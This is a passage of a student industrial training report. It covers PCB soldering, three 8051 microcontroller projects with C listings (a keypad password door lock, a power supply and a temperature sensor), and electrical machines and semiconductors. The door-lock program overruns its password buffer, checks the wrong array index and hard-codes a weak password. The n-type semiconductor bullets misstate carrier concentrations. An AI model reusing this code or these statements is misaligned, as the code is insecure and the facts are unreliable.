7.3 PROCESS OF SOLDERING A PCB :


Step 1: Prepare Your Iron :
Before you can use an iron to solder, you’ll want to complete a process known tinning. This process is all
about coating the tip of the iron in solder to aid in the heat transfer process.

MIST-DECE 71
INDUSTRIAL TRAINING REPORT

Begin this process by warming up the iron thoroughly and letting it rest until it reaches its full heat. Once it
has completely heated, coat the tip thoroughly with solder, making sure to cover the entire tip. You’ll need to
use plenty of solder to do so, and some of this will likely drip. Be prepared for this.

Once you’re certain the entire tip is coated, wipe it off with a wet sponge to get rid of any excess flux
residue. Do this right away, or else the flux may have time to solidify on the tip and become difficult to
remove later.

Step 2: Prepare Your Surface :

The key to a good soldering job is to start with a clean surface. To ensure your PCB board is clean and ready
for soldering, use an industrial cleaning pad to wipe the surface clear of any dust and debris. You may also
use an acetone cleaner to give it an additional wipe down. Finally, you might try giving it a few blasts of
compressed air, as these will remove any small particles stuck in the board.

Fig no. 7.10 : Equipments required for soldering

Step 3: Place the Components :

Unless you’re working with an exceptionally simple circuit board, you’ll likely only be soldering one or two
components at once, as opposed to doing the entire board in one session. We recommend starting with the
smaller pieces and working up to the larger ones. This helps keep the board flat and balanced as the process
begins, rather than weighing it down on one side with a single heavy piece.

Begin by selecting a few small components and placing them where they belong on the board. Bend the
leads as you find you need to and insert the component into the holes where they belong. If you’re having
trouble getting the piece to stay still once you aren’t holding it in place, try bending the leads so that they
rest at a 45-degree angle along the bottom of the board.

MIST-DECE 72
INDUSTRIAL TRAINING REPORT

Step 4: Apply Some Heat :

Add a very small amount of solder to the tip of the iron. This isn’t the solder that’s going to hold the
components in place but is rather intended to conduct heat from the iron to the board.

To properly heat the joint, hold the iron so the tip touches both the board and the component lead. This
positioning is critical since if the tip is in contact with only one of these pieces, the solder won’t stick. Once
the tip is in position, the solder you applied earlier will make contact with both the lead and the board,
heating them up and preparing them for the soldering. Hold the iron in position for a few moments before
removing it.

It’s possible to overheat during this stage, which you’ll want to avoid. If you notice the area starting to
bubble, remove the heat immediately. Wait for it to cool and then heat it again, more cautiously this time.

Fig no. 7.11 : soldering the PCB

Step 5: Add Solder to the Joint :

Once you’ve heated the joint, you’re ready to solder. Begin by touching the tip of a strand of solder to the
solder pad and lead. If you’ve heated this space correctly, the solder should flow freely and the flux should
begin to liquefy and bubble. Keep adding solder around this joint until it’s entirely coated, forming a small
mound. When you’ve reached this point, stop adding solder and remove your iron from the area, setting it
aside.

As the joint cools, make sure it stays absolutely still. If you jostle it or allow it to move, the finish will
look dull and grainy.

Step 6: Finish Up :
Once the joint has finished cooling, conduct a small inspection of it. If the solder joint looks good, move on
trimming the lead. You’ll do this by using side cutters to cut at the very top of the joint. From here, move
on to the next component you want to solder in place. Once you’re finished with all your soldering for your
current session, make sure to clean up any extra flux from the board, leaving you with a clean and finished
product.

MIST-DECE 73
INDUSTRIAL TRAINING REPORT

CHAPTER-8 : PROJECTS OF EMBEDDED SYSTEM


8.1 PROJECT ON DOOR LOCKING SYSTEM :
8.1.1 Introduction :
Password Based Door Lock System using 8051 Microcontroller is a simple project where a secure
password will act as a door unlocking system. Traditional lock systems using mechanical lock and
key mechanism are being replaced by new advanced techniques of locking system. These techniques
are an integration of mechanical and electronic devices and are highly intelligent. One of the
prominent features of these innovative lock systems is their simplicity and high efficiency.
8.1.2 AIM : TO Unlock the door by using the 8052 microcontroller.
8.1.3 Components Required :
8.1.3.1 Hardware Requirements :
• 8052 Microcontroller
• 8052 Development Board
• 8052 Programmer
• 4×4 Matrix Keypad
• 16×2 LCD
• L293D Motor Driver Board
• DC Motor
• 10KΩ Potentiometer
• Connecting wires
• Power Supply
• If 8051 Development Board is not used, then the following components are needed.
o 11.0592 MHz Quartz Crystal
o 2 x 33pF Ceramic Capacitors
o 2 x 10 KΩ Resistor (1/4 Watt)
o 10 µF Capacitor (Polarized)
o Push Button
o 2 x 1 KΩ Resistors (for pull up)
8.1.3.2 Software Requirements :
• Keil µVision IDE
• Willar Programmer
• Proteus (for circuit diagram and simulation)

MIST-DECE 74
INDUSTRIAL TRAINING REPORT

8.1.4 Circuit Diagram of Password Based Door Lock System :

Fig no. 8.1 : schematic of Password Based Door Lock System


8.1.5 PCB LAYOUT of Password Based Door Lock System :

Fig no. 8.2 :PCB layout

MIST-DECE 75
INDUSTRIAL TRAINING REPORT

8.1.6 Program :
#include<reg52.h>
sbit r1=P3^0;
sbit r2=P3^1;
sbit r3=P3^2;
sbit r4=P3^3;
sbit c1=P3^4;
sbit c2=P3^5;
sbit c3=P3^6;
sbit rs=P2^0;
sbit rw=P2^1;
sbit en=P2^2;
sbit motp=P1^0;
sbit motn=P1^1;
void lcdcmd(unsigned char);
void lcddat(unsigned char);
void lcddis(unsigned char *,unsigned char);
void delay();
void check();
unsigned char pwd[3],x;
void main()
{
lcdcmd(0x0F);
lcdcmd(0x38);
lcdcmd(0x0c);
lcdcmd(0x01);
lcdcmd(0x06);
lcdcmd(0x80);
lcddis("PASSWORD PROTECTION",19);
lcdcmd(0xc0);
lcddis("SYSTEM",6);
lcdcmd(0x01);
lcddis("ENTER PASSWORD",14);
lcdcmd(0xc0);

MIST-DECE 76
INDUSTRIAL TRAINING REPORT

while(1)
{
r1=0;
if(c1==0)
{
pwd[x]='1';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='2';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='3';
delay();
lcddat('*');
x=x+1;
}
r1=1;r2=0;
if(c1==0)
{
pwd[x]='4';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='5';

MIST-DECE 77
INDUSTRIAL TRAINING REPORT

delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='6';
delay();
lcddat('*');
x=x+1;
}
r2=1;
r3=0;
if(c1==0)
{
pwd[x]='7';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='8';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='9';
delay();
lcddat('*');
x=x+1;
}
r3=1;

MIST-DECE 78
INDUSTRIAL TRAINING REPORT

r4=0;
if(c1==0)
{
pwd[x]='*';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='0';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
check();
delay();
}
r4=1;

}
}
void check()
{
if(pwd[0] == '1' && pwd[1] == '2' && pwd[2] == '3' && pwd[4] == '4')
{
motp=1;
lcdcmd(0x01);
lcddis("PASSWORD MATCHED",16);
delay();
}
else
{

MIST-DECE 79
INDUSTRIAL TRAINING REPORT

lcdcmd(0x01);
lcddis("PASSWORD MISMATCH",17);
}
}
void lcdcmd(unsigned char val)
{
P0=val;
rs=0;
rw=0;
en=1;
delay();
en=0;
}
void lcddat(unsigned char dat)
{
P0=dat;
rs=1;
rw=0;
en=1;
delay();
en=0;
}
void lcddis(unsigned char *s,unsigned char r)
{
unsigned char w;
for(w=0;w<r;w++)
{
lcddat(s[w]);
delay();

}
}
void delay()
{
unsigned int i,j;

MIST-DECE 80
INDUSTRIAL TRAINING REPORT

for(i=0;i<12000;i++);
for(j=0;j<12000;j++);
}
8.1.7 : output :

Fig no. 8.3 Output of Password Protection system


Result : Hence got the output of Password Protection system.

MIST-DECE 81
INDUSTRIAL TRAINING REPORT

8.2 PROJECT ON POWER SUPPLY BOARD :


8.2.1 Introduction :
This is a simple approach to obtain a 12V and 5V DC power supply using a single circuit. The circuit
uses two ICs 7812(IC1) and 7805 (IC2) for obtaining the required voltages. The AC mains voltage
will be stepped down by the transformer T1, rectified by bridge B1 and filtered by capacitor C1 to
obtain a steady DC level .The IC1 regulates this voltage to obtain a steady 12V DC. The output of
the IC1 will be regulated by the IC2 to obtain a steady 5V DC at its output. In this way both 12V and
5V DC are obtained.
8.2.2 AIM : To get the supply of 12v and 5v dc.
8.2.3 Components Required :
8.2.3.1 Hardware Requirements :
• Transformer (12-0-12)
• IN4007 Diodes
• Capacitors – 2200uf,0.1uf,10uf
• IC7812
• IC7805
• LED
• Resistor – 4.7k
8.2.3.2 Software Requirements :
• Proteus (for circuit diagram and simulation)
8.2.4 Circuit diagram of Power Supply board :

Fig no. 8.4 schematic diagram


8.2.5 PCB Layout of Power Supply board :

MIST-DECE 82
INDUSTRIAL TRAINING REPORT

Fig no. 8.5: PCB Layout


8.2.6 Output :

Fig no. 8.6 output


Result: Verified the supply of 12v &5v.

MIST-DECE 83
INDUSTRIAL TRAINING REPORT

8.3 PROJECT ON TEMPERATURE SENSOR:


8.3.1 Introduction :
In this tutorial i am going to measure room temperature using LM35 temperature sensor with 8051
(89c51 , 89c52) microcontroller. Lm35 outputs an analog signal which is proportional to the temperature
in Celsius. 89c51 microcontroller did not have analog to digital converter built in it unlike their relatives
arduino, pic, nxp and stm32 microcontrollers. So we have to use an external analog to digital converter
to measure the lm35 output voltage, convert it to digital form and pass it to 89c51 microcontroller. I
decided to use adc0804 analog to digital converter to convert analog voltage from the temperature
sensor(LM35) in to 8-bit digital value and pass it to microcontroller when ever requested.
8.3.2 AIM : To Sense The Temperature Using 8052.
8.3.3 Components Required :
8.3.3.1 Hardware Requirements :
• 8052 Microcontroller
• 8052 Development Board
• 8052 Programmer
• 16×2 LCD
• 10KΩ Potentiometer
• Connecting wires
• Power Supply
• ADC0804
• LM35 Temperature sensor
• If 8051 Development Board is not used, then the following components are needed.
o 11.0592 MHz Quartz Crystal
o 2 x 33pF Ceramic Capacitors
o 2 x 10 KΩ Resistor (1/4 Watt)
o 10 µF Capacitor (Polarized)
o Push Button
o 2 x 1 KΩ Resistors (for pull up)
8.3.3.2 Software Requirements :
• Keil µVision IDE
• Willar Programmer
• Proteus (for circuit diagram and simulation)
8.3.4 Circuit Diagram of Temperature sensor:

MIST-DECE 84
INDUSTRIAL TRAINING REPORT

Fig 8.7 : Schematic diagram


8.3.5 PCB Layout of Temperature sensor:

Fig no. 8.8: PCB Layout


8.3.6 Program
#include<reg52.h>
#define lcd P0
#define dat P3
sbit rs=P2^5;
sbit e=P2^7;
void delay (int);
void display (unsigned char);
void cmd (unsigned char);
void init (void);
void string (char *);
void intro (void);
unsigned char degree[8]={0x0e,0x0a,0x0e,0x00,0x00,0x00,0x00,0x00};
char i=0;

MIST-DECE 85
INDUSTRIAL TRAINING REPORT

void delay (int d)


{
unsigned char i=0;
for(;d>0;d--)
{
for(i=250;i>0;i--);
for(i=248;i>0;i--);
}
}
void cmd (unsigned char c)
{
lcd=c;
rs=0;
e=1;
delay(10);
e=0;
}
void display (unsigned char c)
{
lcd=c;
rs=1;
e=1;
delay(10);
e=0;
}
void string (char *c)
{
while(*c)
{
display(*c++);
}
}
void init (void)
{
cmd(0x38);

MIST-DECE 86
INDUSTRIAL TRAINING REPORT

cmd(0x01);
cmd(0x0c);
cmd(0x80);
}
void intro (void)
{
string(" Electronics ");
cmd(0xc0);
string(" Hub ");
delay(1000);
cmd(0x01);
string(" Digital ");
cmd(0xc0);
string(" Thermometer ");
delay(1000);
cmd(0x01);
cmd(0x40);
for(i=0;i<8;i++)
display(degree[i]);
i=0;
cmd(0x80);
}
void main()
{
unsigned int val=0;
unsigned int temp=0;
init();
intro();
dat=0xff;
while(1)
{
if(i==0)
{
string("Temp: ");
i++;

MIST-DECE 87
INDUSTRIAL TRAINING REPORT

}
val=dat*1.953;
cmd(0x86);
temp=(((val/10)%10)+48);
display(temp);
temp=((val%10)+48);
display(temp);
if(i==1)
{
display(0);
string("C");
i++;
}
delay(300);
}
while(1);
}
8.3.7 Output:

Fig no.8.9: Output


Result : Hence measured the temperature of the various places.

MIST-DECE 88
INDUSTRIAL TRAINING REPORT

PART-B: INDUSTRIAL DRIVES


1. DC MOTOR
A DC motor is an electrical machine that converts electrical energy into mechanical energy. In a DC motor,
the input electrical energy is the direct current which is transformed into the mechanical rotation.

Definition of DC motor
A DC motor is defined as a class of electrical motors that convert direct current electrical energy into
mechanical energy.
From the above definition, we can conclude that any electric motor that is operated using direct current or DC
is called a DC motor. In the next few sections, we will understand the DC motor construction and how a DC
motor converts the supplied DC electrical energy into mechanical energy.
DC Motor Parts
In this section, we will be discussing the construction of DC motors.
DC Motor Diagram

fig no 2.0 DC Motor Diagram


Different Parts of a DC motor
A DC motor is composed of the following main parts:
Armature or Rotor
The armature of a DC motor is a cylinder of magnetic laminations that are insulated from one another. The
armature is perpendicular to the axis of the cylinder. The armature is a rotating part that rotates on its axis and
is separated from the field coil by an air gap.
Field Coil or Stator
A field coil of a DC motor is a non-moving part on which winding is wound to produce a magnetic field. This
electro-magnet has a cylindrical cavity between its poles.

MIST-DECE 89
INDUSTRIAL TRAINING REPORT

Commutator and Brushes


Commutator
The commutator of a DC motor is a cylindrical structure that is made of copper segments stacked together but
insulated from each other using mica. The primary function of a commutator is to supply electrical current to
the armature winding.
Brushes
The brushes of a DC motor are made with graphite and carbon structure. These brushes conduct electric current
from the external circuit to the rotating commutator. Hence, we come to understand that the commutator and
the brush unit is concerned with transmitting the power from the static electrical circuit to the
mechanically rotating region or the rotor.

Fig no 2.1: Dc motor constructional parts


2. FLEMING’S LEFT HAND RULE – DEFINITION

Fig no 2.2: Flemings Left Hand Rule

MIST-DECE 90
INDUSTRIAL TRAINING REPORT

Fleming’s left hand rule is used to determine the direction of force exerted on a current carrying wire placed
in a magnetic field. If the thumb, index finger (along magnetic field) and middle finger(along current) are held
mutually perpendicular as shown in the figure, then thumb gives the direction of force on the wire.
3. TRANSFORMER
A transformer has a primary coil to which input is given and a secondary coil from which the output is
collected. Both of these coils are wound on a core material. Usually an insulator forms the Core of the
transformer.
The following figure shows a practical transformer.

Fig no 2.3: Practical Transformer


From the above figure, it is evident that few notations are common. Let us try to have a note of them. They
are −
• Np = Number of turns in the primary winding
• Ns = Number of turns in the secondary winding
• Ip = Current flowing in the primary of the transformer
• Is = Current flowing in the secondary of the transformer
• Vp = Voltage across the primary of the transformer
• Vs = Voltage across the secondary of the transformer
• Φ = Magnetic flux present around the core of the transformer.

MIST-DECE 91
INDUSTRIAL TRAINING REPORT

Transformer in a Circuit
The following figure shows how a transformer is represented in a circuit. The primary winding, the secondary
winding and the core of the transformer are also represented in the following figure.

Fig no 2.4.1: Circuit of Transformer


Hence, when a transformer is connected in a circuit, the input supply is given to the primary coil so that it
produces varying magnetic flux with this power supply and that flux is induced into the secondary coil of the
transformer, which produces the varying EMF of the varying flux. As the flux should be varying, for the
transfer of EMF from primary to secondary, a transformer always works on alternating current AC.
Step-up and Step-down
Depending upon the number of turns in the secondary winding, the transformer can be called as a Step up or
a Step down transformer.
The main point to be noted here is that, there will not be any difference in the primary and secondary power of
the transformer. Accordingly, if the voltage is high at secondary, then low current is drawn to make the power
stable. As well, if the voltage in the secondary is low, then high current is drawn so as the power must be
same as the primary side.
Step Up
When the secondary winding has more number of turns than the primary winding, then the transformer is
said to be a Step-up transformer. Here the induced EMF is greater than the input signal.

MIST-DECE 92
INDUSTRIAL TRAINING REPORT

Fig no 2.5: Step-up Transformer


Step Down
When the secondary winding has lesser number of turns than the primary winding, then the transformer is
said to be a Step-down transformer. Here the induced EMF is lesser than the input signal.

Fig no 2.5.1: Step-down Transformer


4. INDUCTION MOTOR
A motor with only armortisseur windings is called an induction motor. An induction motor is the most modest
electrical machine from constructional point of view, in the majority of the cases. Induction motor works on
the principle of induction where electro-magnetic field is induced into the rotor when rotating magnetic field
of stator cuts the stationary rotor. Induction machines are by far the most common type of motor used in
industrial, commercial or residential settings. It is a three phase AC motor. Its characteristic features are:
• Simple and rugged construction
• Low cost and minimum maintenance

MIST-DECE 93
INDUSTRIAL TRAINING REPORT

• High dependability and sufficiently high proficiency


• Needs no additional starting motor and necessity not be synchronized
Basic parts of an Induction Motor
An induction motor has basically two parts: Stator and Rotor.
Stator:The stator is made up of various stampings with slots to carry three phase windings. It is wound for a
distinct number of poles. The windings are geometrically divided 120 degrees separated. Two sorts of rotors
are used in Induction motors: Squirrel cage rotor and Wound rotor. No DC field current is required to run the
machine. Rotor voltage is induced in the rotor windings rather than being physically connected by wires.

Fig no 2.5.2: Basic Parts Of Induction Motor


Rotor:The rotor is the rotating part of the electromagnetic circuit. The most common type of rotor is the
squirrel cage rotor. The rotor comprises of a cylindrical laminated core with axially placed parallel slots for
carrying the conductors. Each slot carries a copper, aluminum, or alloy bar. The rotor of three-phase induction
motors frequently is likewise implied as an anchor. The purpose behind this name is the anchor shape of the
rotors used within quite early electrical devices. In electrical equipment the anchor’s winding would be
induced by the magnetic field, although the rotor takes this part in three-phase induction motors.
Induction motor has the same physical stator as a synchronous machine with an alternate rotor development.
Induction motor might be worked as either motors or generator. On the other hand, they are fundamentally
used as induction motors.
Two Types of Induction Motors

Single phase induction motor:


The single-phase induction motor is not self-starting. When the motor is connected to a single-phase power
supply, the main winding carries an alternating current. It is logical that the least expensive, most reduced
upkeep sort engine ought to be utilized most regularly. These are of different types based on their way of
starting since these are of not self starting. Those are split phase, shaded pole and capacitor motors. Again
capacitor motors are capacitor start, capacitor run and permanent capacitor motors. Permanent capacitor motor
is shown below.

MIST-DECE 94
INDUSTRIAL TRAINING REPORT

Fig no 2.6: single-phase induction motor


In these types of motors the start winding can have a series capacitor and/or a centrifugal switch. When the
supply voltage is applied, current in the main winding lags the supply voltage because of the main winding
impedance. And current in the start winding leads/lags the supply voltage depending on the starting mechanism
impedance. The angel between the two windings is sufficient phase difference to provide a rotating magnitude
field to produce a starting torque. The point when the motor reaches 70% to 80% of synchronous speed, a
centrifugal switch on the motor shaft opens and disconnects the starting winding.
Applications of Single Phase Induction Motor
These are used in low power applications and widely used in domestic applications as well as industrial. And
some of those are mentioned below
• Pumps
• Compressors
• Small fans
• Mixers
• Toys
• High speed vacuum cleaners
• Electric shavers
• Drilling machines

Three-Phase Induction Motor:


These motors are self-starting and use no capacitor, start winding, centrifugal switch or other starting device.
Three-phase AC induction motors are widely used in industrial and commercial applications. These are of two
types, squirrel cage and slip ring motors. Squirrel cage motors are widely used due to their rugged construction
and simple design. Slip ring motors require external resistors to have high starting torque.
Induction motors are used in industry and domestic appliances because these are rugged in construction
requiring hardly any maintenance, that they are comparatively cheap, and require supply only to the stator.

MIST-DECE 95
INDUSTRIAL TRAINING REPORT

5. ROTATING MAGNETIC FIELD


A rotating magnetic field is a magnetic field that has moving polarities in which its opposite poles rotate about
a central point or axis. Ideally, the rotation changes direction at a constant angular rate. This is a key principle
in the operation of the alternating-current motor.
Rotating magnetic fields are often utilized for electromechanical applications, such as induction
motors and electric generators. However, they are also used in purely electrical applications, such as induction
regulators.

Fig no 2.7: Rotating Magnetic Field


Rotating magnetic fields are also used in induction motors. Because magnets degrade with time, induction
motors use short-circuited rotors (instead of a magnet), which follow the rotating magnetic field of a
multicoiled stator. In these motors, the short-circuited turns of the rotor develop eddy currents in the rotating
field of the stator, which in turn move the rotor by Lorentz force. These types of motors are not usually
synchronous, but instead necessarily involve a degree of 'slip' in order that the current may be produced due
to the relative movement of the field and the rotor.

Fig no 2.8: Relative Movement Of The Field And The Rotor.

MIST-DECE 96
INDUSTRIAL TRAINING REPORT

6. SOFT STARTER
Motors can frequently require a large amount of energy when they accelerate up to full speed.A soft
starter is used to reduce the inrush currents and limit torque, useful if you want to protect your equipment,
extend the life of your motor and reduce motor heating with frequent starts and stops.
So, a soft starter provides a gentle acceleration up to full speed and they are used only at startup. This
gradual start is achieved by ramping up the initial voltage to the motor.

Fig no 2.9: Soft Starter


Electrical soft starters reduce the voltage and therefore current input to a motor. Soft starters may use
solid-state devices to help control the flow of the current. One to three phases can be controlled, with
three-phase control usually producing the better results. In the normal OFF state, the thyristors restrict
current, but in the normal ON state, they allow current. The thyristors are controlled during ramp up,
and bypass contactors are pulled in after maximum speed is achieved to increase overall efficiency. If
you have applications that require speed and torque control only during motor startup, then soft starters
are often the more economical choice.
7. SYNCHRONOUS MOTOR

Fig no 2.10: Synchronous Motor

MIST-DECE 97
INDUSTRIAL TRAINING REPORT

Electrical motors are an electro-mechanical device that converts electrical energy to mechanical energy. Based
on the type of input we have classified it into single phase and 3 phase motors.
The most common type of 3 phase motors are synchronous motors and induction motors. When three-phase
electric conductors are placed in certain geometrical positions (i.e. in a certain angle from one another) – an
electrical field is generated. The rotating magnetic field rotates at a certain speed known as the synchronous
speed.
If an electromagnet is present in this rotating magnetic field, the electromagnet is magnetically locked with
this rotating magnetic field and rotates with the same speed of rotating field.
This is where the term synchronous motor comes from, as the speed of the rotor of the motor is the same as
the rotating magnetic field.
It is a fixed speed motor because it has only one speed, which is synchronous speed. This speed is synchronised
with the supply frequency. The synchronous speed is given by:

Where:
• N= The Synchronous Speed (in RPM – i.e. Rotations Per Minute)
• f = The Supply Frequency (in Hz)
• p = The number of Poles
Construction of Synchronous Motor

Fig no 2.11: Construction of Synchronous Motor

MIST-DECE 98
INDUSTRIAL TRAINING REPORT

Usually, its construction is almost similar to that of a 3 phase induction motor, except the fact that here we
supply DC to the rotor, the reason of which we shall explain later. Now, let us first go through the basic
construction of this type of motor. From the above picture, it is clear that how do we design this type of
machine. We apply three phase supply to the stator and DC supply to the rotor.
Main Features of Synchronous Motors
1. Synchronous motors are inherently not self starting. They require some external means
to bring their speed close to synchronous speed to before they are synchronized.
2. The speed of operation of is in synchronism with the supply frequency and hence for
constant supply frequency they behave as constant speed motor irrespective of load condition
3. This motor has the unique characteristics of operating under any electrical power factor.
This makes it being used in electrical power factor improvement.
Principle of Operation Synchronous Motor
Synchronous motors are a doubly excited machine, i.e., two electrical inputs are provided to it. Its stator
winding which consists of a We provide three-phase supply to three-phase stator winding, and DC to the rotor
winding.
The 3 phase stator winding carrying 3 phase currents produces 3 phase rotating magnetic flux. The rotor
carrying DC supply also produces a constant flux. Considering the 50 Hz power frequency, from the above
relation we can see that the 3 phase rotating flux rotates about 3000 revolutions in 1 min or 50 revolutions in
1 sec.
At a particular instant rotor and stator poles might be of the same polarity (N-N or S-S) causing a repulsive
force on the rotor and the very next instant it will be N-S causing attractive force. But due to the inertia of the
rotor, it is unable to rotate in any direction due to that attractive or repulsive forces, and the rotor remains in
standstill condition. Hence a synchronous motor is not self-starting.
Here we use some mechanical means which initially rotates the rotor in the same direction as the magnetic
field to speed very close to synchronous speed. On achieving synchronous speed, magnetic locking occurs,
and the synchronous motor continues to rotate even after removal of external mechanical means.
But due to the inertia of the rotor, it is unable to rotate in any direction due to that attractive or repulsive forces,
and the rotor remains in standstill condition. Hence a synchronous motor is not self-starting.
Here we use some mechanical means which initially rotates the rotor in the same direction as the magnetic
field to speed very close to synchronous speed. On achieving synchronous speed, magnetic locking occurs,
and the synchronous motor continues to rotate even after removal of external mechanical means.
Methods of Starting of Synchronous Motor
Motor starting with an external prime Mover: Synchronous motors are mechanically coupled with another
motor. It could be either 3 phase induction motor or DC shunt motor. Here, we do not apply DC excitation

MIST-DECE 99
INDUSTRIAL TRAINING REPORT

initially. It rotates at speed very close to its synchronous speed, and then we give the DC excitation. After
some time when magnetic locking takes place supply to the external motor is cut off.
Damper winding In this case, the synchronous motor is of salient pole type, additional winding is placed in
rotor pole face. Initially, when the rotor is not rotating, the relative speed between damper winding and rotating
air gap flux is large and an emf is induced in it which produces the required starting torque. As speed
approaches synchronous speed, emf and torque are reduced and finally when magnetic locking takes place;
torque also reduces to zero. Hence in this case synchronous motor first runs as three phase induction
motor using additional winding and finally it is synchronized with the frequency.

Fig no 2.12: Three Phase Induction Motor


Application of Synchronous Motors
Synchronous motor having no load connected to its shaft is used for power factor improvement. Owing to its
characteristics to behave at any electrical power factor, it is used in power system in situations where
static capacitors are expensive.
Synchronous motor finds application where operating speed is less (around 500 rpm) and high power is
required. For power requirement from 35 kW to 2500 KW, the size, weight and cost of the corresponding
three phase induction motor is very high. Hence these motors are preferably used. Ex- Reciprocating pump,
compressor, rolling mills etc.
SEMICONDUCTORS
Semiconductors are materials which have a conductivity between conductors (generally metals) and
nonconductors or insulators (such as most ceramics). Semiconductors can be pure elements, such as silicon or
germanium, or compounds such as gallium arsenide or cadmium selenide. In a process called doping, small
amounts of impurities are added to pure semiconductors causing large changes in the conductivity of the
material.

MIST-DECE 100
INDUSTRIAL TRAINING REPORT

Due to their role in the fabrication of electronic devices, semiconductors are an important part of our lives.
Imagine life without electronic devices. There would be no radios, no TV's, no computers, no video games,
and poor medical diagnostic equipment. Although many electronic devices could be made using vacuum tube
technology, the developments in semiconductor technology during the past 50 years have made electronic
devices smaller, faster, and more reliable. Think for a minute of all the encounters you have with electronic
devices. How many of the following have you seen or used in the last twenty-four hours? Each has important
components that have been manufactured with electronic materials.

Types of Semiconductors
Semiconductors can be classified as:
• Intrinsic Semiconductor
• Extrinsic Semiconductor

Fig no 2.13: Classification Of Semiconductor

8. N-TYPE SEMICONDUCTOR
• Mainly due to electrons
• Entirely neutral
• I = Ih and nh >> ne
• Majority – Electrons and Minority – Holes
When a pure semiconductor (Silicon or Germanium) is doped by pentavalent impurity (P, As, Sb, Bi) then,
four electrons out of five valence electrons bonds with the four electrons of Ge or Si.
The fifth electron of the dopant is set free. Thus the impurity atom donates a free electron for conduction in
the lattice and is called “Donar“.

MIST-DECE 101
INDUSTRIAL TRAINING REPORT

Since the number of free electron increases by the addition of an impurity, the negative charge carriers
increase. Hence it is called n-type semiconductor.

9. P-TYPE SEMICONDUCTOR
• Mainly due to holes
• Entirely neutral
• I = Ih and nh >> ne
• Majority – Holes and Minority – Electrons
When a pure semiconductor is doped with a trivalent impurity (B, Al, In, Ga ) then, the three valence electrons
of the impurity bonds with three of the four valence electrons of the semiconductor.
This leaves an absence of electron (hole) in the impurity. These impurity atoms which are ready to accept
bonded electrons are called “Acceptors“.
With the increase in the number of impurities, holes (the positive charge carriers) are increased. Hence, it is
called p-type semiconductor.
10. P-N JUNCTION
Definition: A p-n junction is an interface or a boundary between two semiconductor material types, namely
the p-type and the n-type, inside a semiconductor.
The p-side or the positive side of the semiconductor has an excess of holes and the n-side or the negative side
has an excess of electrons. In a semiconductor, the p-n junction is created by the method of doping. The process
of doping is explained in further detail in the next section.
Formation of P-N Junction
As we know if we use different semiconductor materials to make a p-n junction, there will be a grain boundary
that would inhibit the movement of electrons from one side to the other by scattering the electrons and holes
and thus we use the process of doping. We will understand the process of doping with the help of this example.
Let us consider a thin p-type silicon semiconductor sheet. If we add a small amount of pentavalent impurity
to this, a part of the p-type Si will get converted to n-type silicon. This sheet will now contain both p-type
region and n-type region and a junction between these two regions. The processes that follow after the
formation of a p-n junction are of two types – diffusion and drift. As we know, there is a difference in the
concentration of holes and electrons at the two sides of a junction, the holes from the p-side diffuse to the n-
side and the electrons from the n-side diffuse to the p-side. These give rise to a diffusion current across the
junction.

MIST-DECE 102
INDUSTRIAL TRAINING REPORT

Fig 2.14: Unbiased PN Junction


Also, when an electron diffuses from the n-side to the p-side, an ionized donor is left behind on the n-side,
which is immobile. As the process goes on, a layer of positive charge is developed on the n-side of the junction.
Similarly, when a hole goes from the p-side to the n-side, and ionized acceptor is left behind in the p-side,
resulting in the formation of a layer of negative charges in the p-side of the junction. This region of positive
charge and negative charge on either side of the junction is termed as the depletion region. Due to this positive
space charge region on either side of the junction, an electric field direction from a positive charge towards
the negative charge is developed. Due to this electric field, an electron on the p-side of the junction moves to
the n-side of the junction. This motion is termed as the drift. Here, we see that the direction of drift current is
opposite to that of the diffusion current.

Biasing conditions for the p-n Junction Diode


There are two operating regions in the p-n junction diode:
• P-type
• N-type
There are three biasing conditions for p-n junction diode and this is based on the voltage applied:
• Zero bias: There is no external voltage applied to the p-n junction diode.
• Forward bias: The positive terminal of the voltage potential is connected to the p-type while
the negative terminal is connected to the n-type.
• Reverse bias: The negative terminal of the voltage potential is connected to the p-type and the
positive is connected to the n-type.

MIST-DECE 103
INDUSTRIAL TRAINING REPORT

11. FORWARD BIAS

Fig no 2.15: Forward Bias


When the p-type is connected to the positive terminal of the battery and the n-type to the negative terminal
then the p-n junction is said to be forward-biased. When the p-n junction is forward biased, the built-in electric
field at the p-n junction and the applied electric field are in opposite directions. When both the electric fields
add up the resultant electric field has a magnitude lesser than the built-in electric field. This results in a less
resistive and thinner depletion region. The depletion region’s resistance becomes negligible when the applied
voltage is large. In silicon, at the voltage of 0.6 V, the resistance of the depletion region becomes completely
negligible and the current flows across it unimpeded.

12. REVERSE BIAS

Fig no 2.16: Reverse Bias


When the p-type is connected to the negative terminal of the battery and the n-type is connected to the positive
side then the p-n junction is said to be reverse biased. In this case, the built-in electric field and the applied

MIST-DECE 104
INDUSTRIAL TRAINING REPORT

electric field are in the same direction. When the two fields are added, the resultant electric field is in the same
direction as the built-in electric field creating a more resistive, thicker depletion region. The depletion region
becomes more resistive and thicker if the applied voltage becomes larger.

How does current flow in PN junction diode?


The flow of electrons from the n-side towards the p-side of the junction takes place when there is an increase
in the voltage. Similarly, the flow of holes from the p-side towards the n-side of the junction takes place along
with the increase in the voltage. This results in the concentration gradient between both sides of the terminals.
Because of the formation of the concentration gradient, there will be a flow of charge carriers from higher
concentration regions to lower concentration regions. The movement of charge carriers inside the pn junction
is the reason behind the current flow in the circuit.
V-I Characteristics of PN Junction Diode

Fig no 2.17: V-I Characteristics of PN Junction Diode

VI characteristics of PN junction diode is a curve between the voltage and current through the circuit. Voltage
is taken along the x-axis while the current is taken along the y-axis. The above graph is the VI characteristics
curve of the PN junction diode. With the help of the curve we can understand that there are three regions in
which the diode works, and they are:
• Zero bias

MIST-DECE 105
INDUSTRIAL TRAINING REPORT

• Forward bias
• Reverse bias
When the PN junction diode is under zero bias condition, there is no external voltage applied and this means
that the potential barrier at the junction does not allow the flow of current.
When the PN junction diode is under forward bias condition, the p-type is connected to the positive terminal
while the n-type is connected to the negative terminal of the external voltage. When the diode is arranged in
